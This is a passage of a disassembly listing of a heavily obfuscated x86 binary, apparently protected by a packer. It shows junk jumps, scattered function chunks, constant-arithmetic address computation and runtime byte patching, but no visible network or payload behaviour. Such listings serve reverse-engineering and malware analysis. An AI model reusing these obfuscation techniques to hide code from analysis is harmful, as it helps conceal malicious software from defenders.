loc_439B0F:				; CODE XREF: dviuq5id:00453116j
		jnp	loc_454551
		shr	edx, 19h
		jmp	sub_43F9BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_439B1D:				; CODE XREF: sub_442BFE+1654Ej
		pushf
		sub	ecx, eax
		cmp	ebp, ecx
		jmp	loc_43FBB8
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------

locret_439B27:				; CODE XREF: dviuq5id:loc_448ADDj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A397

loc_439B28:				; CODE XREF: sub_45A397+19j
		jmp	loc_456591
; END OF FUNCTION CHUNK	FOR sub_45A397
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454BEA

loc_439B2D:				; CODE XREF: sub_454BEA-7673j
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_454BEA
; ---------------------------------------------------------------------------

loc_439B32:				; CODE XREF: dviuq5id:0045A038j
		jbe	loc_451013
		shr	ebx, 0Fh
		cdq
		jmp	loc_449B8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A4E3

loc_439B41:				; CODE XREF: sub_44A4E3+9697j
		jno	loc_451ED3
		and	edi, eax

loc_439B49:				; CODE XREF: sub_44A4E3:loc_45867Fj
		call	sub_44D2A8
		push	0ADEEEAD0h
		jmp	loc_44E542
; END OF FUNCTION CHUNK	FOR sub_44A4E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B3CA

loc_439B58:				; CODE XREF: sub_43B3CA:loc_4578A8j
		movzx	eax, word ptr [eax]
		shl	eax, 2
		mov	edx, [ebp-14h]
		mov	edx, [edx+1Ch]
		add	edx, [ebp-4]
		add	eax, edx
		jmp	loc_44DBEF
; END OF FUNCTION CHUNK	FOR sub_43B3CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_439B6E:				; CODE XREF: sub_43BD72:loc_43932Bj
					; dviuq5id:0043BA94j
		jnz	loc_44D684
; END OF FUNCTION CHUNK	FOR sub_43BD72

; =============== S U B	R O U T	I N E =======================================



sub_439B74	proc near		; CODE XREF: sub_4525D0-16FA8p
		xchg	edi, [esp+0]
		pop	edi
		mov	al, [ebp-0Ah]
		shr	eax, 4
		call	sub_441D7C

loc_439B83:				; CODE XREF: sub_44514D:loc_4561FCj
		jmp	nullsub_24
sub_439B74	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_439B88:				; CODE XREF: dviuq5id:00449251j
		jmp	loc_456C9F
; ---------------------------------------------------------------------------

loc_439B8D:				; CODE XREF: dviuq5id:004467DAj
		jmp	loc_43AE20
; ---------------------------------------------------------------------------

loc_439B92:				; CODE XREF: dviuq5id:0045642Cj
		mov	eax, [eax+68h]
		test	eax, 70h
		jz	loc_45145A
		jmp	loc_44E3B5
; ---------------------------------------------------------------------------

loc_439BA5:				; DATA XREF: sub_44E763+6o
		xchg	esi, [esp]
		mov	edx, esi
		pop	esi
		call	sub_453D79

loc_439BB0:				; CODE XREF: dviuq5id:0043ADF6j
		xchg	eax, ebp

; =============== S U B	R O U T	I N E =======================================



sub_439BB2	proc near		; CODE XREF: sub_4553DE:loc_43FC56p

; FUNCTION CHUNK AT 00445CEC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044FF0C SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi

loc_439BB6:				; CODE XREF: dviuq5id:loc_4446B0j
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp-18h]
		shl	eax, 2
		jmp	loc_44FF0C
sub_439BB2	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	5C929A7Dh
		pop	ecx
		add	ecx, 72203EF1h
		rol	ecx, 0Bh
		add	ecx, 69765A5Bh
		mov	[ecx], eax
		jmp	loc_44F714
; ---------------------------------------------------------------------------
		add	eax, 0DABDE066h
		jns	loc_455855
		jmp	sub_45A003
; ---------------------------------------------------------------------------

loc_439BF3:				; DATA XREF: dviuq5id:004445B4o
		call	sub_44E3BA
		retn
; ---------------------------------------------------------------------------

loc_439BF9:				; CODE XREF: dviuq5id:00443F1Cj
		jmp	loc_44C47B
; ---------------------------------------------------------------------------
		dw 9021h
dword_439C00	dd 0			; DATA XREF: sub_449222+6r
					; sub_449222:loc_458EB4r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441001

loc_439C04:				; CODE XREF: sub_441001+10j
		jmp	nullsub_511
; END OF FUNCTION CHUNK	FOR sub_441001

; =============== S U B	R O U T	I N E =======================================



sub_439C09	proc near		; CODE XREF: sub_41764F+52p
					; DATA XREF: c.7ld2ih:off_41D00Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043968E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043B469 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B9BA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D817 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043DB6E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043DF2A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E479 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EB73 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043FEE1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00440172 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044031F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00440CFB SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0044139D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044184A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00441F0B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442DEF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443B03 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00444530 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004451C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004457F2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00445D5E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044654D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004465BD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044678F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004489C7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448EC7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00448FBC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004490A1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044973A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A4AF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C436 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D5D5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044D772 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E3D4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044EA96 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0044EE2F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004520B1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004524AB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00453259 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004536E7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00454A6C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455076 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004555A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045570A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00455D34 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004570B0 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0045712C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457446 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0045768A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00458E8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458F7C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004598DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A646 SIZE 00000013 BYTES

		jz	loc_45A646
		jmp	loc_442DEF
sub_439C09	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	esi, 0CE71C663h
		jmp	loc_44E0F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456002

loc_439C1F:				; CODE XREF: sub_456002:loc_444816j
		push	eax
		push	7C6F3D0Ch
		pop	eax
		and	eax, 0B407F360h

loc_439C2C:				; CODE XREF: dviuq5id:0043D106j
		test	eax, 40h
		jmp	loc_457A9A
; END OF FUNCTION CHUNK	FOR sub_456002
; ---------------------------------------------------------------------------

loc_439C37:				; CODE XREF: dviuq5id:00455A65j
		jle	nullsub_113
		push	ebx
		jmp	loc_450491
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_512. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_439C44:				; CODE XREF: sub_454094-EE7Aj
		jp	loc_44DE34

loc_439C4A:				; CODE XREF: sub_454094:loc_43C4DFj
		push	ecx
		push	4F80417Eh
		xchg	edi, [esp+0Ch+var_C]
		mov	ecx, edi
		pop	edi
		jmp	loc_43C253
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------

loc_439C5B:				; CODE XREF: dviuq5id:0044D3F6j
		xchg	ecx, edi

; =============== S U B	R O U T	I N E =======================================



sub_439C5D	proc near		; CODE XREF: sub_453BE2-17FB6p
		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [eax]
		push	offset sub_442C3A
		jmp	nullsub_455
sub_439C5D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_439C6D:				; CODE XREF: sub_440C61:loc_449134j
		call	sub_45A04B
		push	edi
		call	sub_452558

loc_439C78:				; CODE XREF: dviuq5id:00457800j
		jmp	loc_448646
; END OF FUNCTION CHUNK	FOR sub_440C61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4575D9

loc_439C7D:				; CODE XREF: sub_4575D9+13j
		jmp	loc_44B6E9
; END OF FUNCTION CHUNK	FOR sub_4575D9
; ---------------------------------------------------------------------------

loc_439C82:				; CODE XREF: dviuq5id:00453565j
		jmp	locret_45A0E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_439C87:				; CODE XREF: sub_44AB80:loc_43F45Dj
		jmp	loc_453BEF
; END OF FUNCTION CHUNK	FOR sub_44AB80

; =============== S U B	R O U T	I N E =======================================



sub_439C8C	proc near		; DATA XREF: dviuq5id:0044A35Do

; FUNCTION CHUNK AT 0043B5B0 SIZE 00000010 BYTES

		push	473DE650h
		pop	ebx
		rol	ebx, 1Ah
		and	ebx, 12F80419h
		or	ebx, 6BB61A1Fh
		add	ebx, 9483B265h
		mov	[ebx], eax
		pop	ebx
		jmp	loc_43B5B0
sub_439C8C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_439CAF:				; DATA XREF: dviuq5id:00445186o
		mov	byte ptr [eax],	0C3h
		jmp	sub_43DB63

; =============== S U B	R O U T	I N E =======================================



sub_439CB7	proc near		; CODE XREF: sub_41A19C+3Bp
					; dviuq5id:004599E3j
					; DATA XREF: ...

; FUNCTION CHUNK AT 004404B9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00441983 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044E3DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452D5D SIZE 00000016 BYTES

		push	esi

loc_439CB8:				; CODE XREF: dviuq5id:00455950j
		push	0A0D3F221h
		pop	esi
		jmp	loc_441983
sub_439CB7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4396BB

loc_439CC3:				; CODE XREF: sub_4396BB+1CEBFj
		push	0C2511249h
		pop	ecx
		xor	ecx, 0CB8FF2FBh
		or	ecx, 3320AC46h
		xor	ecx, 0B73B68Ch
		or	ecx, 0EBC9EC6h
		jmp	loc_454C8F
; END OF FUNCTION CHUNK	FOR sub_4396BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_439CE6:				; CODE XREF: sub_43FA59:loc_44CBDDj
		push	edx
		call	sub_451E99
; END OF FUNCTION CHUNK	FOR sub_43FA59
; START	OF FUNCTION CHUNK FOR sub_44E763

loc_439CEC:				; CODE XREF: sub_44E763+26E9j
		jmp	loc_452B77
; END OF FUNCTION CHUNK	FOR sub_44E763
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCB4

loc_439CF1:				; CODE XREF: sub_43DCB4+11j
		jmp	loc_43A2CE
; END OF FUNCTION CHUNK	FOR sub_43DCB4
; ---------------------------------------------------------------------------

loc_439CF6:				; CODE XREF: dviuq5id:loc_4555F1j
		mov	ebx, 122ED796h
		jmp	loc_44E52A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4411C6

loc_439D00:				; CODE XREF: sub_4411C6:loc_4494F2j
		pop	ebx
		xor	ebx, 1CB83460h
		cmp	ebx, 0C481CAF7h
		jmp	loc_43C8B3
; END OF FUNCTION CHUNK	FOR sub_4411C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D0F2

loc_439D12:				; CODE XREF: sub_44D0F2:loc_452CADj
		test	ebx, 200h
		jmp	loc_43BD18
; END OF FUNCTION CHUNK	FOR sub_44D0F2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_232. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_439D1E:				; CODE XREF: sub_44460F+E749j
		jmp	loc_44E9B1
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E2D4

loc_439D23:				; CODE XREF: sub_44E2D4+16j
		jmp	loc_440C93
; END OF FUNCTION CHUNK	FOR sub_44E2D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9C6

loc_439D28:				; CODE XREF: sub_44D9C6+Cj
		jmp	loc_444DB8
; END OF FUNCTION CHUNK	FOR sub_44D9C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_439D2D:				; CODE XREF: sub_43C2DA+D65Dj
		jmp	sub_44C6ED
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A3E0

loc_439D32:				; CODE XREF: sub_43A3E0:loc_44F7ADj
		call	sub_4557A6
; END OF FUNCTION CHUNK	FOR sub_43A3E0
; START	OF FUNCTION CHUNK FOR sub_458330

loc_439D37:				; CODE XREF: sub_458330-56A4j
		jmp	loc_43D2AE
; END OF FUNCTION CHUNK	FOR sub_458330
; ---------------------------------------------------------------------------

loc_439D3C:				; CODE XREF: dviuq5id:00445BDDj
		rol	esi, 5
		sub	esi, 5785658Ah
		add	esi, 5851B00Fh
		call	sub_458A79

loc_439D50:				; CODE XREF: dviuq5id:004574E2j
		jmp	nullsub_469
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_439D55:				; CODE XREF: sub_441DDA+299Cj
		jmp	loc_439498
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D5BE

loc_439D5A:				; CODE XREF: sub_43D5BE:loc_441938j
		add	edx, 863353DBh
		mov	[edx], eax
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_43D5BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_439D64:				; CODE XREF: sub_459804-1BD77j
		mov	ebp, 0A1EA392Dh
		add	edx, 50360BF1h

loc_439D6F:				; CODE XREF: sub_459804-161Fj
		xor	eax, 4DCB0A85h
		add	eax, ebp
		add	eax, 7035B559h
		mov	eax, [eax]
		jmp	loc_45804E
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_439D84:				; CODE XREF: sub_43FAE1:loc_444437j
		xor	ecx, 0F13B0ABAh
		rol	ecx, 6
		add	ecx, 0A362B137h
		sub	eax, ecx
		pop	ecx
		mov	edx, [esp-4+arg_0]
		jmp	loc_43BFEE
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FD8E

loc_439D9E:				; CODE XREF: sub_44FD8E-D275j
		pop	eax
		sub	eax, 296D84CFh
		and	eax, 0F1FC7F5Fh
		rol	eax, 5
		jmp	loc_43F6B0
; END OF FUNCTION CHUNK	FOR sub_44FD8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD8A

loc_439DB3:				; CODE XREF: sub_44BD8A+18j
		jz	loc_444C45
; END OF FUNCTION CHUNK	FOR sub_44BD8A
; START	OF FUNCTION CHUNK FOR sub_44A4E3

loc_439DB9:				; CODE XREF: sub_44A4E3-4318j
		jmp	loc_45867F
; END OF FUNCTION CHUNK	FOR sub_44A4E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_439DBE:				; CODE XREF: sub_459385-17CB9j
		jmp	loc_444650
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
		rol	esi, 16h
		jmp	loc_444C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446544

loc_439DCB:				; CODE XREF: sub_446544:loc_43B09Aj
		call	sub_456FEA

loc_439DD0:				; CODE XREF: sub_43FA59+18665j
		jmp	loc_451387
; END OF FUNCTION CHUNK	FOR sub_446544
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452047

loc_439DD5:				; CODE XREF: sub_452047+Bj
		mov	[ebp-1Ch], eax
		jmp	loc_4542B8
; END OF FUNCTION CHUNK	FOR sub_452047
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45799F

loc_439DDD:				; CODE XREF: sub_45799F:loc_4579B7j
		cmp	dword ptr [ebp-1Ch], 0Fh
		jnz	loc_446208
		mov	eax, [ebp-1Ch]
		call	sub_43E6B4

loc_439DEF:				; CODE XREF: sub_451090+Cj
		jmp	loc_45A3CD
; END OF FUNCTION CHUNK	FOR sub_45799F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_439DF4:				; CODE XREF: sub_43FA59+143C3j
		push	18387FDAh
		xor	ebx, eax
		not	eax

loc_439DFD:				; CODE XREF: sub_43FA59+143BBj
		add	eax, 0C0841210h
		popf
		xchg	eax, [esp+0]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_43FA59

; =============== S U B	R O U T	I N E =======================================



sub_439E0C	proc near		; DATA XREF: dviuq5id:00456956o

; FUNCTION CHUNK AT 0043F87C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044466A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004461EC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00449F48 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004582EC SIZE 0000000B BYTES

		xor	edx, 95C66B65h
		add	edx, ebp
		add	edx, 576AB33Eh
		mov	edx, [edx]
		jmp	loc_43F87C
sub_439E0C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_439E21:				; CODE XREF: dviuq5id:loc_445FF4j
		jz	loc_457F51
; START	OF FUNCTION CHUNK FOR sub_44A33D

loc_439E27:				; CODE XREF: sub_44A33D+15j
		jmp	nullsub_64
; END OF FUNCTION CHUNK	FOR sub_44A33D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_439E2C:				; CODE XREF: sub_454094-14267j
		jmp	loc_454AB2
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
		xchg	edx, [eax]
		test	eax, 0AC55BF60h
		jmp	loc_447A9E
; ---------------------------------------------------------------------------

loc_439E3E:				; CODE XREF: dviuq5id:0045898Cj
		cmp	ebx, 49903443h
		jmp	loc_44348B
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 5
		mov	ds:dword_43EE20, eax
		retn
; ---------------------------------------------------------------------------

loc_439E54:				; CODE XREF: dviuq5id:0044CD1Ej
		jmp	loc_43A21F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452E2A

loc_439E59:				; CODE XREF: sub_452E2A-6700j
		jmp	loc_44A679
; END OF FUNCTION CHUNK	FOR sub_452E2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_439E5E:				; CODE XREF: sub_43E4A4:loc_453B4Bj
		rol	eax, 5
		jmp	loc_43E52E
; END OF FUNCTION CHUNK	FOR sub_43E4A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_439E66:				; CODE XREF: sub_446181+Bj
		mov	ecx, edx
		xchg	ecx, [esp+0]
		push	eax
		call	sub_455696

loc_439E71:				; CODE XREF: sub_451DAA+2393j
		jmp	loc_43C0D0
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443C86

loc_439E76:				; CODE XREF: sub_443C86+C73Bj
		jmp	loc_44B26A
; END OF FUNCTION CHUNK	FOR sub_443C86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459983

loc_439E7B:				; CODE XREF: sub_459983-18C42j
		jmp	loc_43DC5B
; END OF FUNCTION CHUNK	FOR sub_459983
; ---------------------------------------------------------------------------

locret_439E80:				; CODE XREF: dviuq5id:loc_44E2B9j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_439E81:				; CODE XREF: sub_44C2F6-45A1j
		jmp	loc_453165
; END OF FUNCTION CHUNK	FOR sub_44C2F6
; ---------------------------------------------------------------------------

loc_439E86:				; CODE XREF: dviuq5id:0044CAD4j
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_439E87	proc near		; CODE XREF: sub_445A59+2ECAp

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00439A26 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043B73B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043E975 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004411D7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00441AF9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446929 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044808A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044D1F5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D366 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E1F4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00454649 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00454B1B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454DC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045505C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457819 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00457EDC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004593AE SIZE 00000013 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_454B1B
sub_439E87	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_439E97:				; CODE XREF: sub_43FAE1+166A3j
		jnp	loc_459DA4

loc_439E9D:				; CODE XREF: sub_449C2A-AFA1j
					; sub_43FAE1:loc_443932j ...
		jmp	loc_44B933
; ---------------------------------------------------------------------------

loc_439EA2:				; CODE XREF: sub_449C2A+Dj
					; sub_43FAE1+10CF2j
		push	offset sub_454A9D
		jmp	loc_440237
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_439EAC:				; CODE XREF: sub_43D28E:loc_447660j
					; sub_43C2DA:loc_44991Bj
		add	edx, 0C3C0CDF8h
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_441C1F
		jmp	loc_4581A7
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
		or	ebp, 88B0397Dh
		jmp	sub_440AB3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C4E2

loc_439ECF:				; CODE XREF: sub_44C4E2-20AFj
		jmp	loc_45A16C
; END OF FUNCTION CHUNK	FOR sub_44C4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_439ED4:				; CODE XREF: sub_43FAE1-1DACj
		jmp	loc_4436A9
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44279B

loc_439ED9:				; CODE XREF: sub_44279B-4AFDj
		jmp	sub_44952D
; END OF FUNCTION CHUNK	FOR sub_44279B

; =============== S U B	R O U T	I N E =======================================



sub_439EDE	proc near		; CODE XREF: sub_440E99+511Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A6B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A1B6 SIZE 00000015 BYTES

		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+4+var_4]
		push	0DC4969BFh
		jmp	loc_43A6B3
sub_439EDE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456B31

loc_439EEE:				; CODE XREF: sub_456B31-1A73Aj
		jz	loc_43F505
		jmp	loc_43BD0B
; END OF FUNCTION CHUNK	FOR sub_456B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FE77

loc_439EF9:				; CODE XREF: sub_44FE77+12j
		add	ebx, 32AB0F18h
		and	ebx, 14AF254Dh
		xor	ebx, 0F8BC19E4h
		add	edx, ebx
		jmp	loc_455BAA
; END OF FUNCTION CHUNK	FOR sub_44FE77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_439F12:				; CODE XREF: sub_450686+15j
		cmp	edx, 0BABCD324h
		jmp	loc_44D1E2
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
		xchg	ecx, edx
		sub	ebx, ebp
		jmp	sub_43A54F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456253

loc_439F26:				; CODE XREF: sub_456253:loc_43DCE9j
		jg	loc_44D361
		xchg	edi, [ebx]
		jmp	loc_455316
; END OF FUNCTION CHUNK	FOR sub_456253
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB53

loc_439F33:				; CODE XREF: sub_44BB53:loc_43974Dj
		and	eax, 0E3281BAAh
		add	eax, 0AD3F941Bh
		add	eax, ebp
		add	eax, 30986229h
		popf
		jmp	loc_459CEC
; END OF FUNCTION CHUNK	FOR sub_44BB53
; ---------------------------------------------------------------------------
		push	6F1BFCEBh
		pop	eax
		add	eax, 3EA8E90Ch
		or	eax, 22797E99h
		add	eax, 0CC41B2F0h
		jnz	loc_447ACC
; START	OF FUNCTION CHUNK FOR sub_44F9FB

loc_439F6B:				; CODE XREF: sub_44F9FB+8j
		jmp	loc_44BF04
; END OF FUNCTION CHUNK	FOR sub_44F9FB
; ---------------------------------------------------------------------------

loc_439F70:				; CODE XREF: dviuq5id:0043DF74j
		jmp	loc_43BA14
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_447AC6
; ---------------------------------------------------------------------------
		add	eax, esi
		jmp	loc_456C8A
; ---------------------------------------------------------------------------
		sbb	ebx, esi
		jmp	sub_453DFD
; ---------------------------------------------------------------------------

loc_439F89:				; CODE XREF: dviuq5id:0045A14Aj
		jb	loc_4545B2
		mov	edi, [ebx]

loc_439F91:				; CODE XREF: dviuq5id:loc_43E636j
		call	sub_454E7C
		push	665778D9h
		pop	edx
		jmp	loc_44C630

; =============== S U B	R O U T	I N E =======================================



sub_439FA1	proc near		; CODE XREF: dviuq5id:00440ED9j
					; dviuq5id:0044F4FAp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00441BCB SIZE 00000006 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	ecx, [esp-4+arg_0]
		mov	edx, ecx
		jmp	loc_441BCB
sub_439FA1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_439FAF	proc near		; CODE XREF: dviuq5id:00447B6Aj
					; sub_4492F0+6p
		xchg	esi, [esp+0]
		pop	esi
		push	2755628Eh
		pop	edi
		or	edi, 0A998DCD9h
		jmp	loc_441C94
sub_439FAF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458A79

loc_439FC4:				; CODE XREF: sub_458A79:loc_4516FEj
		mov	eax, offset dword_439924
